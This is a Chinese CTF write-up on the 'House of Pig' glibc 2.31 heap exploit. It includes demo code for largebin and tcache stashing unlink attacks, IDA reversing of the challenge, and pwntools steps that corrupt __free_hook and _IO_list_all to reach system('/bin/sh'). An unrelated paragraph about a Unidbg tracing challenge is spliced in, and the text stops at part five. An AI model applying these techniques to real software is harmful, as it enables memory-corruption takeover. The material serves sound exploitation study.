查看原文
其他

house of pig详解

Lpwn 看雪学苑 2022-07-01


本文为看雪论坛优秀文章

看雪论坛作者ID:Lpwn


在复现这题之前需要了解一些前置知识:libc2.31下的largebin_attack,tcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻击。

 

1


libc2.31下的largebin_attack


跟随how2heap项目中的largebin_attack以及源码调试来学习。

得益于Unicorn的强大的指令trace能力,可以很容易实现对cpu执行的每一条汇编指令的跟踪,进而对ollvm保护的函数进行剪枝,去掉虚假块,大大提高逆向分析效率。请分别使用Unidbg和Stalker引擎完成对该app中的jnicheck函数的trace跟踪,并简单分析该apk逻辑,找出flag。

从libc2.30开始,largebin的插入代码中新增了两个检查。

先看到第一个点: 
将unsortedbin插入到largebin中时,且这个unsortedbin大于largebin的size,此时插入过程增加了双向链表完整性检查。
 
通常就是修改largebin的bk_nextsize=target_addr-0x20,然后在插入一个比原有largebin更大的unsortedbin时(后面称原有的largebin为largebin1,新插入的为largebin2)。

在插入过程中,largebin1的bk_nextsize被设置为largebin1的bk_nextsize,即target_addr-0x20,后续victim->bk_nextsize->fd_nextsize=victim这条语句,会将target_addr-0x20+0x20位置写入largebin2的地址,这是第一个点。
 
第二个点如下: 
这里的利用方式是修改largebin1的bk=target_addr-0x10,bck=fwd->bk;bck->fd=victim;这两句代码执行完毕后会将target_addr-0x10+0x10的位置写入largebin1的地址。
 
如图所示,这两处都添加了检查。
 
但当要插入的unsortedbin小于largebin的size时并没有做检查,如下图:

在这里并没有进行检查,因此在libc2.31下这里就成了新的利用点。

demo文件如下:

#include<stdio.h>#include<stdlib.h>#include<assert.h> /* A revisit to large bin attack for after glibc2.30 Relevant code snippet :     if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){        fwd = bck;        bck = bck->bk;        victim->fd_nextsize = fwd->fd;        victim->bk_nextsize = fwd->fd->bk_nextsize;        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;    }  */ int main(){  /*Disable IO buffering to prevent stream from interfering with heap*/  setvbuf(stdin,NULL,_IONBF,0);  setvbuf(stdout,NULL,_IONBF,0);  setvbuf(stderr,NULL,_IONBF,0);   size_t target = 0;  size_t *p1 = malloc(0x428);  size_t *g1 = malloc(0x18);   size_t *p2 = malloc(0x418);  size_t *g2 = malloc(0x18);   free(p1);  size_t *g3 = malloc(0x438);    free(p2);   p1[3] = (size_t)((&target)-4);   size_t *g4 = malloc(0x438);   assert((size_t)(p2-2) == target);   return 0;}
我删掉了原文件中的一些描述性代码,以便于观看代码。 
整体攻击思路就是申请一大一小两个chunk(后面称为chunk1,chunk2),先free掉chunk1,然后申请一个更大的chunk来将chunk1从unsortedbin中插入到largebin,接着将chunk1的bk_nextsize设置为target_addr-0x20,这是第一步;
第二步,free掉chunk2,然后申请一个更大的chunk来将chunk2从unsortedbin中插入到largebin中,由于此时插入的chunk2的size要小于chunk1,所以会触发新的攻击流程,这里我们采用源码调试,以便更直观地学习。

在程序执行到size_t *g4 = malloc(0x438);这一句时,堆的情况如下:

 largebin里放着0x430的chunk,unsortedbin里面则是0x420的。
chunk1的bk_nextsize被设置为了target_addr-0x20。

接下来我们将断点下在_int_malloc函数:

然后我们运行到将unsortedbin插入到largebin的代码:
首先获取要插入的unsortedbin对应的largebin的index,然后获取到对应的链表头。

由于此时largebin中已经有了一个chunk,所以对应链表头的fd和bk都被设置为了这个largebin的地址,类似于下面这样:

 然后进入到插入环节:

将bck,也就是链表头赋值给fwd,将bck->bk(chunk1的地址)赋值给bck,进入到插入操作,首先将chunk2(即将插入的chuhnk)的fd_nextsize设置为chunk1的地址。

再将chunk2的bk_nextsize设置为chunk1的bk_nextsize,而chunk1的bk_nextsize已经被修改为了target_addr-0x20,因此chunk2的bk_nextsize也会指向target_addr-0x20。
最后一行代码用于修改chunk1的fd_nextsize和bk_nextsize为chunk2的地址,由于设置chunk1的fd_nextsize是通victim->bk_nextsize->fd_nextsize来设置的,而victim->bk_nextsize指向的是一个错误的地址,执行完这条赋值语句后就会在target_addr+0x20的位置上写入chunk2的地址。
至此就实现了类似于libc2.23下的unsortedbin attack,往任意地址写入一个堆地址。



2


tcache_stashing_unlink plus


此种利用方式可以达成任意地址处分配一个chunk,demo如下:
#include <stdio.h>#include <stdlib.h>#include <inttypes.h> static uint64_t victim[4] = {0, 0, 0, 0}; int main(int argc, char **argv){    setbuf(stdout, 0);    setbuf(stderr, 0);     char *t1;    char *s1, *s2, *pad;    char *tmp;     printf("You can use this technique to get a tcache chunk to arbitrary address\n");     printf("\n1. need to know heap address and the victim address that you need to attack\n");     tmp = malloc(0x1);    printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",        &victim, victim[0], victim[1], victim[2], victim[3]);    printf("heap address: %p\n", tmp-0x260);     printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");    victim[1] = (uint64_t)(&victim);    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",        victim[0], victim[1], victim[2], victim[3]);      printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");    printf("Here, I choose the size 0x60\n");    for(int i=0; i<5; i++){        t1 = calloc(1, 0x50);        free(t1);    }     printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",        t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);     printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");     s1 = malloc(0x420);    printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);    pad = malloc(0x20);    printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);    free(s1);    printf("Free chunk %p to unsortedbin\n", s1);    malloc(0x3c0);    printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");    malloc(0x100);    printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);     printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");    printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");    s2 = malloc(0x420);    pad = malloc(0x80);    free(s2);    malloc(0x3c0);    malloc(0x100);    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);    printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);     printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");    printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;     printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");     calloc(1, 0x50);    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",        &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);     printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");     uint64_t *r = (uint64_t*)malloc(0x50);    r[0] = 0xaa;    r[1] = 0xbb;    r[2] = 0xcc;    r[3] = 0xdd;     printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",        victim[0], victim[1], victim[2], victim[3]);     return 0;}

整体思路如下:

1、tcache中放5个,smallbin中放两个。

2、将后进smallbin的chunk的bk(不破坏fd指针的情况下)修改为目标地址-0x10,同时将目标地址+0x8处的值设置为一个指向可写内存的指针。

3、从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。 

依然是源码调试:将断点下在calloc(1, 0x50);这一行,以及_int_malloc。

先看看此时的内存情况:



victim就是我们的目标,&victim+0x8的位置已经被设置为了一个指向可写内存的指针。


后进入的smallbin的bk指针指向了&victim-0x10:

0x60的tcache里面有五个,0x60的smallbin里面有两个。

接下来我们跟进到int_malloc中:由于calloc不从tcache中取chunk,所以会直接从smallbin中取出一个chunk。


链表头和两个smallbin的结构如下:

victim = last (bin)取最后一个chunk(从上面的结构图里面能看得很清楚)
last是一个宏定义,如下:
 #define last(b)      ((b)->bk)
接着往前遍历,取倒数第二个chunk,还会进行双向链表的完整性检查。

bin->bk = bck;bck->fd = bin;
这两条代码将最后一个chunk解链,执行后结构如下: 
 然后运行到这里: 
size_t tc_idx = csize2tidx (nb);会先计算出此时申请的chunk的size对应于tcache的哪一条链。
如果这条链的tcache中还有空余且smallbin也有chunk。 

满足条件,然后取出smallbin中的最后一个chunk。

bck = tc_victim->bk;//取倒数第二个smallbin,但tc_victim->bk已经被我们设置为了&victim-0x10set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena)    set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;//将倒数第一个chunk解链
依次运行上述代码:

bck如果我们分析一样,是&victim-0x10:

链表头的bk指针指向了&victim-0x10: 
bck->fd=bin,即&victim-0x10+0x10=&victim被设置为了bin头,解链后结构如下: 

之后再将tc_victim放入tcache:

放入前:

放入后:

看到这里相信大家就大概能明白为什么这个攻击手法可以任意地址分配一个chunk了,此时tcache中还剩一个空位,程序会继续从smallbin中取chunk放入tcache,此时smallbin中只剩下victim,我们继续调试:
新一轮的tc_victim为&victim-0x10,接下来会找到倒数第二个chunk:
因此我们需要将&victim-0x10+0x18处设置为一个可写地址x,方便后面往其中写bin头地址,而demo一开始就将其设置好了。 

victim[1] = (uint64_t)(&victim);
后续的就是继续解链,然后将victim加入到tcache:

至此攻击完成。


3


高版本下的_IO_FILE利用


在2.23下一般攻击FILE结构体就是劫持IO函数的_chain字段为我们伪造的IO_FILE_plus,然后修改vtable表中的io_str_overflow为system。
在高版本libc下,如libc2.31下也依然是利用io_str_overflow这个函数,但io_str_overflow函数的实现发生了变化。
int_IO_str_overflow (FILE *fp, int c){  int flush_only = c == EOF;  size_t pos;  if (fp->_flags & _IO_NO_WRITES)      return flush_only ? 0 : EOF;  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))    {      fp->_flags |= _IO_CURRENTLY_PUTTING;      fp->_IO_write_ptr = fp->_IO_read_ptr;      fp->_IO_read_ptr = fp->_IO_read_end;    }  pos = fp->_IO_write_ptr - fp->_IO_write_base;  if (pos >= (size_t) (_IO_blen (fp) + flush_only))    {      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */    return EOF;      else    {      char *new_buf;      char *old_buf = fp->_IO_buf_base;      size_t old_blen = _IO_blen (fp);      size_t new_size = 2 * old_blen + 100;      if (new_size < old_blen)        return EOF;      new_buf = malloc (new_size);      if (new_buf == NULL)        {          /*      __ferror(fp) = 1; */          return EOF;        }      if (old_buf)        {          memcpy (new_buf, old_buf, old_blen);          free (old_buf);          /* Make sure _IO_setb won't try to delete _IO_buf_base. */          fp->_IO_buf_base = NULL;        }      memset (new_buf + old_blen, '\0', new_size - old_blen);       _IO_setb (fp, new_buf, new_buf + new_size, 1);      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);       fp->_IO_write_base = new_buf;      fp->_IO_write_end = fp->_IO_buf_end;    }    }   if (!flush_only)    *fp->_IO_write_ptr++ = (unsigned char) c;  if (fp->_IO_write_ptr > fp->_IO_read_end)    fp->_IO_read_end = fp->_IO_write_ptr;  return c;}
可以看到io_str_overflow调用了malloc,memcpy,free等函数。
我们回溯一下malloc的参数new_size的来源:
size_t new_size = 2 * old_blen + 100;size_t old_blen = _IO_blen (fp);#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
如果我们能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base就能够控制malloc申请的chunk大小,再看到后面这一段:
if (old_buf)//char *old_buf = fp->_IO_buf_base;        {          memcpy (new_buf, old_buf, old_blen);          free (old_buf);          /* Make sure _IO_setb won't try to delete _IO_buf_base. */          fp->_IO_buf_base = NULL;        }
如果old_buf指向的内存空间有数据,则将使用memcpy将old_buf中的数据拷贝到new_buf中,拷贝的长度为old_blen,然后再free (old_buf);

再看到_IO_str_overflow的汇编:

在+53这一行,会将[rdi+0x28]处的值送到rdx中,而自从libc2.29开始,setcontext中的gadget索引由rdi变为了rdx,需要先控制rdx的值才能够进行后续的srop。
 
而_IO_str_overflow中的这条汇编正好可以将rdx进行赋值,且来源还是rdi,rdi正好是FILE结构体的首地址,只需要将fp+0x28设置为我们可以控制的地址就可以进行srop,且这条语句是在malloc之前执行的。

所以利用方法就是:首先将malloc_hook设置为setcontext+61,然后触发_IO_str_overflow,事先在我们伪造的FILE结构体中设置好相应的数据,从而将rdx赋值为我们可以控制的地址,接着_IO_str_overflow调用malloc触发setcontext,进行srop。

触发malloc的条件如下:

fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */fp->_IO_write_ptr=srop_addr/*0x0   _flags0x8   _IO_read_ptr0x10  _IO_read_end0x18  _IO_read_base0x20  _IO_write_base0x28  _IO_write_ptr 0x00007ffff7e2f0dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]*/new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);free (fp->_IO_buf_base);


4


house of pig

libc版本为2.31,用c++写的,0x1,修复switch tableIDA反编译,查看main函数:libc版本为2.31,用c++写的。

4.1 修复switch table

IDA反编译,查看main函数:
看到一条 __asm { jmp rax },这是因为IDA没能正确识别switch跳转,修复一下,看到汇编。 

jmp rax的地址在0x3794,跳转表在0x69e0

跳转表是一字节一字节的,连续按d修改成四字节一组,一共有6个跳转:

 

接下来开始修复跳转表,首先选中jmp rax那条汇编,再按如下路径选取specify switch idiom。

配置如下: 
由上至下分别为:
跳转表的地址;跳转的数量;每一个跳转值的长度;基值;跳转开始的位置;跳转使用的寄存器;/;默认跳转位置。
修复成功后如下所示:

4.2 恢复结构体:开始分析程序

随便点开程序开头的一个函数: 
一串赋值0的操作,不明白什么意思,继续往下找到菜单: 
一共有五个功能,增查改删以及切换人物。
 
点开case 1对应的函数,也就是add函数:

里面嵌套着一个switch,点开case1对应的函数看看: 

相当难看,很多对地址进行的操作,这种情况尽可能恢复程序的结构体方便后续分析,先大致分析一下这个函数的流程。

最多能申请20次,申请的chunk的大小要大于等于0x90小于等于0x430.并且每一次申请的chunk的size都要大于等于上一次所申请的。申请堆块用的是calloc函数,calloc不从tcache中取。

*(_DWORD *)(unk_9070 + 0x150LL) = v8;

如果size合法的话,就将size赋值给*(_DWORD *)(unk_9070 + 0x150LL),这个unk_9070 中存放的是mmap出来的一块内存的地址。

*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;*(_BYTE *)(a1 + i + 288) = 0;*(_BYTE *)(a1 + i + 312) = 0;

这一段寻址看的不清晰,我们修改一下这个函数传入的参数的类型。

原本是int64类型,我们将其修改为char * ,在参数上按y修改类型。 

修改完后上面那一段就变成了如下所示: 
这样子看起来就比上面那段看起来清楚一些,将a1[4 * i + 0xC0]赋值为size,将a1[i + 0x120]以及a1[i + 0x138]都赋值为0。
 
继续往下看: 

 
将size/0x30,也就是将申请的chunk以0x30大小切片,每次都往切片的顶部读入0x10个字节的数据。
 
这个函数到这就算分析得差不多了,但如果我们要恢复程序使用的结构体,这些信息还不够,继续分析其他函数。
 
再看到add功能的case 2,case 2的函数与case1对应的函数只有几处不一样:

 
size存放到mmap中的位置变了:
 

将chunk切片之后不再是从顶部写入,而是从偏移0x10处开始写。

case3对应的函数不同之处也是在这两处,就不再说了。

由add功能可以猜测,add功能传入的参数应该是一个结构体。

*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存储堆地址*(_DWORD *)&a1[4 * i + 0xC0] = v8; //存储chunk sizea1[i + 0x120] = 0; //意义不明a1[i + 0x138] = 0;//意义不明
再看到view功能: 
首先判断*(int *)(unk_9070 + 0x404LL)的值是否大于0,然后依然有三个函数,进入第一个函数。
输入一个序号,然后会有以下三个判断:
*(_QWORD *)&a1[8 * v4] //判断chunk是否存在*(_DWORD *)&a1[4 * v4 + 0xC0] //判断对应的size是否存在!a1[v4 + 0x120]
满足这三个条件就会输出对应chunk的值,另外两个函数也基本一致,看到edit功能: 
和view功能一样,开头会检查一个全局变量的值*(int *)(unk_9070 + 0x408LL)是否大于0,大于0才会进入到edit的子函数中,查看第一个函数: 

依然有三个判断,和view的判断是相同的,通过判断的话就会重新往chunk中写入数据,也是先切片再写数据,和add功能中的逻辑一样。

看到delete功能:
delete功能没有次数的限制,进入第一个子函数。

delete功能依然有三个检查:

*(_QWORD *)&a1[8 * v4]&& !a1[v4 + 0x120]&& !a1[v4 + 0x138]

检查chunk是否存在,检查!a1[v4 + 0x120] 和!a1[v4 + 0x120]这两个位置是否为0,通过检查的话则进行free,并将两个标志位置1,但并没有将堆指针清0。
 
前四个功能分析完毕,第五个功能稍后再谈,我们先通过这四个功能恢复出程序使用的结构体。
 
总结如下:
1.结构体至少需要存储20*8=0xa0的堆地址
2.还需要存储20*4=0x50的size数据
3.view,edit功能使用了a1[v4 + 0x120]处的标志位
4.delete功能使用了a1[v4 + 0x138]和a1[v4 + 0x120]处的标志位,也就是结构体应该有两个标志位数组,数组元素大小为1字节,因此结构体还需要存储20*1*2=0x28大小的标志位。

初步猜测结构体应该如下所示:

struct house{    char *list[20];    int size[20];    char flag[20];    char flagg[20];};
但这样子其实是有错误的,回到add功能: 
 
堆地址是从结构体的头部开始存储的,而size数据则是从结构体偏移0xc0开始存储的,如果只存储20个堆地址的话,那么只占用0xa0的大小,size应该从0xa0开始存储;

要使size从0xc0开始存储,则堆地址存储的上限应为0xc0/0x8=0x18个,同样的,size,flag,flagg的存储上限也应为0x18(大家可以自行计算一下,上限为0x18的话各种偏移就都正好满足),这样的话结构体应该如下:

struct house{    char *list[0x18];    int size[0x18];    char flag[0x18];    char flagg[0x18];};

规划好结构体之后就可以往ida中添加了:
 
点到local types界面: 
 

右键选择insert: 

 
直接输入结构体代码:
 
 
local types中会出现我们自定义的结构体类型,我们再回到add功能,修改参数类型。

 将其修改为house *类型: 
 
修改成功,我们再接着把程序中用到了这个结构体的函数的参数类型统统修改。
 
比如我们在一开始点进去的那个一大堆赋值0的函数,修改完后就变成了下面这样:

清楚了,其他需要修改为house结构体的位置我就不一一修改给大家看了,可以自行操作。但程序中不止存在这一个结构体,在add功能中:
 
很明显,0x9070的值指向的空间也是一个结构体,我们接下来对这个结构体进行恢复。
 
在程序一开始,有这么一个函数:
将0x9070指向位置的数据拷贝到house结构体中,并且每一个memcpy函数拷贝的大小都是house结构体不同成员的大小。 
现在我们继续往下看到功能5 Change roles: 

让我们输入密码,调用strlen得出密码的长度,调用sub_13C9这个函数:

unsigned __int64 __fastcall sub_13C9(_DWORD *a1){  unsigned __int64 v2; // [rsp-10h] [rbp-10h]   v2 = __readfsqword(0x28u);  *a1 = 0;  a1[1] = 0;  a1[2] = 0x67452301;  a1[3] = 0xEFCDAB89;  a1[4] = 0x98BADCFE;  a1[5] = 0x10325476;  return __readfsqword(0x28u) ^ v2;}

这一串十六进制数是md5加密的特征,后面的sub_2916和sub_2A8B也就不用看了,实际上就是将我们输入的密码进行md5加密,然后将md5加密后的数据和设置的好的md5值进行对比,进行比较的条件有三个: 
满足任意一个即可进入到if代码块中,这里需要注意的是,前两个比较使用的是memcmp,而第三个比较使用的是strcmp,strcmp存在0字符截断问题,我们看到dword_6928。 
 
这串md5的开头存在\x00,所以在和这串md5值比较的时候实际上会提前截断,因此我们要找的只是以0x3c4400开头的md5对应的原值。
 
我们再看到if代码块,if中的代码会判断我们输入的密码的第一个字符为A,B,C中的哪一个,然后返回1或2或3来切换角色。
 
根据以上的分析,如果我们想要切换角色,输入的密码需要以A或B或C开头,且经过md5加密后需要以0x3c4400开头,这样的一串md5的原值还是有一些的,写了个烂脚本,就嗯爆破,在9位数字内各找到了满足条件的密码。

import hashlib def main():    start = "3c4400"    while True:        for i in range(100000000):            s='A'+str(i)            #s='B'+str(i)            #s='C'+str(i)            print "Test %s " % s            if hashlib.md5(s).hexdigest().startswith(start):                f=open('list','w')                f.write(s+'\n')                f.close() if __name__ == '__main__':    main()'''A39275120B3332073C75929410'''

如果师傅们有更好的办法的话希望能指点一下,知道了如何更改角色以后再继续往下看。
 
会根据返回的角色值来进行switch选择要执行的函数,进入case1查看一下:
将house结构体的数据拷贝到qword_9070中,看到case2。
 一样的功能,只不过拷贝的目标地址发生了变化,case3也是一样的:
 
到这里为止,我们先考虑恢复qword_9070指向的结构体,很明显,根据这三个case,我们可以推断出这个结构体(后面称为tmp_house)至少有3个house结构体的大小,但还有一些小细节需要注意,回看到add功能。
 
case1:

 

case2: 

在tmp_house结构体中还需要存储当前size的大小,每一个角色都有一个对应的current_size,因此tmp_house还应在原有的3个house结构体的大小上在添加3个int类型的大小,但这依然不够。

 
在view功能中: 
 
tmp_house结构体中还需要记录能够view的次数,注意,这里qword_9070+0x101,并不是说在偏移为0x101的位置处,还需要看到前面是int类型的指针,是四字节,所以实际上应该是0x101*4=0x404的偏移,上面的current_size也是如此。
 
在edit功能中:
tmp_house结构体中还需要记录能够edit的次数,因此,tmp_house结构体应该如下:

struct tmp_house{  struct house peppa_house;  int current_peppasize;  struct house mummy_house;  int current_mummysize;  struct house daddy_house;  int current_daddysize;  int show_time;  int edit_time;};

在ida中创建结构体,看看我们的推测是否正确。
 
add功能: 
 
edit功能:
 
 
成功。结构体恢复就到此为止了,现在再来分析程序就会舒服很多。

4.3 漏洞分析


经过了上一阶段的分析,我们已经大致梳理了一遍程序的逻辑,现在来总结一下,并补充上面没有说到的。
 
首先,这个程序有三个角色可以选择,在三个角色之间可以来回切换。在程序的开头会将三个角色各自的结构体的两个标志位都清0,程序运行起来后默认是使用的peppa这个角色,每个角色都有增删查改切换这五个功能。

在view和edit功能中会检查第一个标志位flag是否为0,为0的情况下才能够进行相关操作;delete功能会检查flag和flagg这两个标志位是否都为0,都为0才会进行free,free之后将flag和flagg标志位置1,但并没有清空堆指针,所以这里可能会存在uaf;随后是切换角色的流程,假如我们从peppa切换到mummy。
 
 
如果next_character_num!=character_num,就会先将当前的角色的house结构体存储到global_house中,看到save_peppa_house这个函数 
仔细观察,是不是少了些什么?house有两个标志位,flag和flagg,但这里只将flagg标志位保存了下来,继续往下看:
 
 
接着根据next_character_num来恢复现场:

在recover_peppahouse函数中将global_house中所有的数据都拷贝到了对应角色的house结构体中,而global_house中的对应的flag标志位是0,也就是说,当我们使用peppa这个角色free了一个chunk之后,flag=1,flagg=1,且这个chunk的指针没有清0,再切换到mummy,只会将flagg标志位进行存储。

我们再切换回peppa这个角色,就会将global_house中的flag标志位赋值给house,这样一来peppa_house的flag=0,flagg=1,除了不能再次delete,view和edit功能都可以使用,也就是一个uaf漏洞。其他的角色也是一样,来回切换一次可以造成一个uaf。

4.4  漏洞利用


程序使用calloc来申请chunk,因此无法使用tcache attack,并且申请的chunk要大于0x90,也无法使用fastbin attack(不知是否可以使用largebin_attack来攻击global_max_fast?)
house of pig本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法
 
整体思路如下:
 
1、为tcache_stashing_unlink plus做好准备,往一个tcache链中放入五个chunk,再往同样大小的smallbin中放入两个chunk;
 
2、构造出largebin,泄露libc地址和heap地址,进行第一次largebin attack,将free_hook-0x8的位置写上一个堆地址;
 
3、进行tcache_stashing_unlink ,将free_hook-0x10作为一个堆地址链入tcache头,但由于使用calloc,我们无法申请到这个chunk;
 
4、进行第二次largebin attack,将_io_list_all覆盖成一个堆地址,我们在这个堆上伪造IO_FILE,伪造的FILE结构体需要满足要求以调用malloc来申请tcache中的chunk。

也就是我们要使2((fp)->_IO_buf_end(fp)->_IO_buf_base)+100=free_hook所在的那个tcache链的大小,并且还要修改vtable指针,vtable原本指向IO_file_jumps,将其修改为指向_IO_str_jumps。

原本应该调用 IO_file_overflow 的时候,就会转而调用如下的 IO_str_overflow,这样一来就能够进而调用malloc申请到free_hook-0x10处的空间。

如果_IO_buf_base指向的空间有数据的话,还会将其中的数据拷贝到malloc申请的chunk中,所以我们可以在IO_buf_base指向的空间布置好/bin/sh和system的地址。

这样一来就被被memcpy到free_hook-0x10处,IO_str_overflow在最后还会free掉IO_buf_base指向的chunk,这样就会触发system('/bin/sh')getshell。
 
第一部分,为tcache_stashing_unlink 做准备:

Change(2)for x in xrange(5):    Add(0x90, 'B'*0x28) # B0~B4    Del(x)    # B0~B4#到这里0xa0的tcache中放入了5个chunkChange(1)Add(0x150, 'A'*0x68) # A0for x in xrange(7):    Add(0x150, 'A'*0x68) # A1~A7    Del(1+x)Del(0)#将0x160的chunk放入到unsortedbinChange(2)Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0#将0x160的chunk分割为0xc0和0xa0的,unsortedbin还剩下0xa0Change(1)Add(0x180, 'A'*0x78) # A8#将0xa0的unsortedbin放入smallbin,0xa0的smallbin目前有一个for x in xrange(7):    Add(0x180, 'A'*0x78) # A9~A15    Del(9+x)Del(8)#将0x190的chunk翻入unsortedbinChange(2)Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0#切割unsortedbin,unsortedbin还剩下0xa0#----- leak libc_base and heap_baseChange(1)Add(0x430, 'A'*0x158) # A16#将0xa0的unsortedbin放入到smallbin,0xa0的chunk目前有两个#至此,tcache_stashing_unlink的准备工作完成一部分
 
此时的bins如上图。
 
第二部分,泄露libc地址和heap地址:

Change(1)Add(0x430, 'A'*0x158) # A16 Change(2)Add(0xf0, 'B'*0x48) # B7#B7作为A16和topchunk的隔离,防止A16被free后和topchunk合并Change(1)Del(16)#free A16,将A16放入unsortedbinChange(2)Add(0x440, 'B'*0x158) # B8#申请一个比unsortedbin更大的chunk,将unsortedbin放入largebin,则largebin中有一个0x440的chunk#由于largebin的bk和fd为libc地址,fd_nextsize和bk_nextsize为堆地址,因此可以通过这个largebin来泄露libc地址和heap地址Change(1)#切换角色,造成uafShow(16)ru('message is: ')libc_base = uu64(rl()) - 0x1ebfe0lg('libc_base')#利用uaf泄露libc地址Edit(16, 'A'*0xf+'\n')Show(16)ru('message is: '+'A'*0xf+'\n')heap_base = uu64(rl()) - 0x13940lg('heap_base')#使用edit覆盖fd和bk,泄露出heap地址

上图是将A16 free之后的情况,以及下图是此时的bins: 
 
第三部分,第一次largebin_attack 将free_hook-0x8写为一个堆地址。

#----- first largebin_attackEdit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover#将0x440的largebin的fd和bk指针恢复Add(0x430, 'A'*0x158) # A17#将largebin中的chunk申请回来Add(0x430, 'A'*0x158) # A18Add(0x430, 'A'*0x158) # A19#后续使用Change(2)Del(8)Add(0x450, 'B'*0x168) # B9#将B8 0x440的chunk放入largebinChange(1)Del(17)#将A17 0x430的chunk放入unsortedbinChange(2)free_hook = libc_base + libc.sym['__free_hook']Edit(8, p64(0) + p64(free_hook-0x28) + '\n')#修改B8的fd_nextsize和bk_nextsize,以满足largebin attack的要求 注:mummy的edit是直接从偏移0x10的位置写入,忘记了的可以看看程序Change(3)Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8#会从0x430的unsortedbin中切割0xb0的chunk之前,会先将这个0x430的chunk放到largebin上,再进行切割,切割之后会产生last remainder,再将last remainder放到unsortedbin上,在将unsortedbin放入largebin时就已经出发了largebinattack,往free_hook-0x8处写入了一个堆地址Change(2)Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover#恢复现场

这里解释一下Add(0xa0, 'C'*0x28)为什么能触发largebin_attack?
 
 
在int_malloc函数的大循环开始处就会获取unsortedbin中的chunk,还是通过源码调试来看看,不过就只标出几个关键点,毕竟这不是本文的重点。
 

pwndbg> p/x size$2 = 0x440pwndbg> p victim$3 = (mchunkptr) 0x55a1135af940 unsortedbinall: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940

取到了unsortedbin中的chunk:


将unsortedbin中的chunk解链: 
将unsortedbin插入到largebin: 
这一步之后实际上就已经完成了largebin attack,但我们继续把流程走完:
largebin中多出了一个chunk,后续会进行一大堆标志位设置,我们直接看到切割chunk。 

 切割了之前的unsortedbin,remainder产生: 

然后将last_remainder插入到unsortedbin中:


流程结束,第一次largebin attack完成。 

 
free_hook-0x8被写入了一个堆地址:
 
第四部分 第二次largebin attack ,往_io_list_all写入一个堆地址:

#----- second largebin_attackChange(3)Add(0x380, 'C'*0x118) # C1#将lastremainder申请回来Change(1)Del(19)#free A19,大小为0x430的chunkChange(2)IO_list_all = libc_base + libc.sym['_IO_list_all']Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')#故技重施,将largebin中的0x440的chunk的bk_nextsize修改为IO_list_all-0x20Change(3)Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all#和第三部分的一样,触发largebin_attackChange(2)Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover#恢复现场
 
第二次largebin attack完成。
 
第五部分 tcache_stashing_unlink plus IO_FILE攻击:

